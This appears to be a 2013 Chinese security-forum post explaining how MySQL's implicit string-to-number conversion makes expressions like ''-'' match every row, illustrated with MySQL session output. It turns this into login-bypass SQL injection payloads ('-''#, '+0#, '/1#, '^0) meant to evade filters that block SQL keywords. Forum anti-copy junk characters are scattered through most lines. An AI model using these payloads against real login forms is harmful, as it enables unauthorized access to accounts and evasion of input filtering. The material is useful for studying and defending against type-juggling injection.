中国网络渗透测试联盟

标题: 使用MySQL字符串运算实施精巧化SQL注入攻击 [打印本页]

作者: admin    时间: 2013-11-23 16:20
标题: 使用MySQL字符串运算实施精巧化SQL注入攻击
我们先来看这样一个场景。
! q; q- Q2 Q1 o' l& `4 c3 t; n有以下表结构:
, `, G7 y. g: w, D& i0 C6 i' L# o# p
mysql> desc admin;
4 j0 M4 [4 W& Q* X8 e9 Q+----------+--------------+------+-----+---------+----------------+
5 M1 l3 [' p5 s  |( C+ G2 n( n| Field    | Type         | Null | Key | Default | Extra          |, ^5 ~! j2 I) ?; U! L, C, X/ [
+----------+--------------+------+-----+---------+----------------+
1 R; k. N5 z2 x! Z| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
. j' |. k5 Y# K| name     | char(32)     | NO   | UNI | NULL    |                |9 O* I" ]8 E. ?
| password | char(32)     | NO   | UNI | NULL    |                |
) p( w- D% f, c( X1 q; b+----------+--------------+------+-----+---------+----------------+
- A' |- c# m$ Q+ B# C, u; w8 B3 rows in set (0.00 sec)% q6 K, B6 L& R
执行select * from admin;,成功返回所有记录内容。
1 n+ a( a2 S& J. U0 o! ?& d+ m# ]: B4 [$ r: Q
& C( b( o' h" L9 g. E( D
+----+--------+----------------------------------+8 @, K+ Q& N+ a
| id | name   | password                         |
4 W; `% l/ q0 c; u! V8 D+----+--------+----------------------------------+
6 v$ I4 J. z! N1 t|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
0 A0 Z# ^" W, @" r# h2 [: F|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |4 y) [; P/ ~* Y- V
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
1 }! K, V7 S" ^3 T! Z  j8 u8 N+----+--------+----------------------------------+  L7 S, Y8 a, Q
3 rows in set (0.00 sec)" }/ o' \5 O* c# M" c
执行select * from admin where name=”;,没有匹配到任何记录。   h# a" x- `1 N! G9 a- `# }, ^
; O8 l4 O$ X$ q! w
mysql> select * from admin where name = '';
- |9 `1 n6 n& V# M% S7 mEmpty set (0.00 sec)
9 X7 H- i/ }3 p' T- u" X- s# N1 {那么我们来执行select * from admin where name = ”-”;4 y0 e/ Y  O. w' @! _/ T
+ }, t2 b$ i, A

7 Y1 L# f6 u4 h1 h! j4 H+----+--------+----------------------------------+
+ I* @: \7 ?/ |" \/ D5 s| id | name   | password                         |
) f# I5 O/ m; n6 [! v+----+--------+----------------------------------+6 F3 P) w7 ?% I( q4 y
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
" ^  i& p0 I* g7 X|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |. J- ?: d2 t3 e
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
) V" g; L% j+ S& B( I8 a; |6 R+----+--------+----------------------------------+% l) i* O6 k0 [
3 rows in set, 3 warnings (0.00 sec)
  O6 K- H8 o! f可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: * Z8 |  `2 n  \- G" q% s# P

. o6 Q3 o7 N' ]3 vmysql> show warnings;
+ c$ C; j& a4 r8 i+---------+------+------------------------------------------
  Q- d' W/ H6 h| Level   | Code | Message% q  N. `7 x  [4 I4 c& r: k7 z
+---------+------+------------------------------------------
" w2 X6 k0 j& u$ p| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
' n6 l/ [0 H3 @# I6 i" H| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s  E, G3 w- d- Q% O: h& e
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
% q+ N8 c# A0 g' r$ u' n+---------+------+------------------------------------------/ _2 P3 s; ^' y# G
3 rows in set (0.00 sec)7 p8 ]) F9 {9 U7 e  S
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 2 B* F6 Q3 J1 K6 s5 P; J/ P

, V; L  s' }( [+ I2 Gmysql> select ''-'';/ L2 {; ?6 Y% J7 [4 m3 Z, w
+-------+
' t& P: I" G4 j, q  g( b| ''-'' |$ D: N& H* ]0 m0 _8 M% J
+-------+
+ O0 x. u4 A6 y! g: U. j3 |; J|     0 |
8 X) C9 I3 K+ y, p- H# ]+-------+
0 K7 c( O+ V- T# a' g1 row in set (0.00 sec)! L& \3 M# ^0 K, t# L4 O
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
/ u) a; R: E' ]& p# U7 @- q( n) ]% E# E! a9 e
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);4 }: Z9 M8 v# {# W$ w, k3 {
+-----------------------------------------------------++ f* _+ O3 ?( e% a
| CAST((select name from admin limit 1,1) as DECIMAL) |" i! ?& ?3 E- }! S9 K
+-----------------------------------------------------+1 P) W& Z1 q. z) `) S7 O4 T
|                                                   0 |9 d6 `3 ^4 Y; n6 p& z
+-----------------------------------------------------+
- Y2 s4 i) T) n; {' B1 row in set, 1 warning (0.00 sec)
8 o; V9 c5 |" m6 B( x  D1 D+ L因此where语句构成了相等的条件,where 0=”=”,记录被返回。 1 Z4 I/ }# Y$ M- D0 q) @

- F3 P6 A' {& \/ y0 _% }SQL注入场景: http://www.sqlzoo.net/hack/
. \" r, g$ v8 i0 ]$ n
7 ]- _0 M& B# I. B) a( q+ \; k# G
& i9 S- b# W  ^" Z& H; v0 U0 y) d+ T/ f$ c% O

' ^3 A  h1 w# S- ]: z/ A, f如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ' @+ G- R. ^  @; Z! x7 l7 U. P

% j5 E) h3 x0 Q) T$ D; K8 K( X那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 4 u8 C3 c) R* s. X# ~
) d# m1 s) _$ l
1 f% y' G6 w# E2 x

, f0 |8 ]: v5 }
- ?% j$ X* V; U# F仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
+ s; E+ {7 k3 n8 M' H0 C- e6 x
5 Z8 a5 _/ k+ U# W* b2 T- q" h   " o4 r" [3 q  N# I" Q

& j% L- \4 I( U5 C除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
& l0 [4 {. s4 Q- Y4 k; ^' z6 s% y( S- @' W) K
5 I1 O! I1 k: I+ v2 b; U
mysql> select ''/1;
% u+ K6 q! Y4 c' @  z+------+
- |: E8 [0 Y+ E* p# m. c6 j| ''/1 |, h) y9 w. t) u( t  g( x0 e: I
+------+
0 i( k7 V8 o1 k: q|    0 |* A- s" [; ~% O+ K
+------+7 p  {0 V* ~8 \* T1 J& C* s
1 row in set (0.00 sec)
" L/ K1 g) R3 x6 s2 \) E% ~7 f类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
; X1 X, T6 l$ q' J. \" y3 U, D* s0 k# x2 a
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
8 O2 R$ q+ E+ B: P2 I1 i, m! [+ [" g





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2